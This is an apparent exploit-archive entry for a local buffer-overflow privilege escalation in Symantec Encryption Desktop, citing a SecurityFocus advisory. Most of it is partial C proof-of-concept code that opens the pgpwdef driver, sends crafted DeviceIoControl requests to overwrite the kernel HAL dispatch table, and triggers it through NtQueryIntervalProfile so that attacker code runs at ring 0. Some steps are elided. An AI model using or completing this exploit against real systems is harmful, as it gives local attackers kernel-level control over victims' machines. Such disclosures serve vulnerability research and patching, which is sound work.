source: https://www.securityfocus.com/bid/57835/info Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability. A local attacker may exploit this issue to execute arbitrary code with escalated privileges. #define IO_CONTROL_VULN 0x80022058 #define TARGET_DEVICE L"\\Device\\pgpwdef" [..] usName.Buffer = TARGET_DEVICE; usName.Length = usName.MaximumLength = (USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR)); InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE , NULL, NULL); // get handle of target devide ns = f_NtOpenFile( &hDev, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE, &ObjAttr, &StatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT ); [..] BOOL bStatus = DeviceIoControl( hDev, IO_CONTROL_VULN, InBuff, 0x8, OutBuff, 0x8, &dwReturnLen, NULL ); dwReturnLen = 0; bStatus = DeviceIoControl( hDev, IO_CONTROL_VULN, InBuff, sizeof(PVOID), (PUCHAR)m_HalDispatchTable, 0, &dwReturnLen, NULL ); [..] f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval); [..] Your evil code processes with CPL==0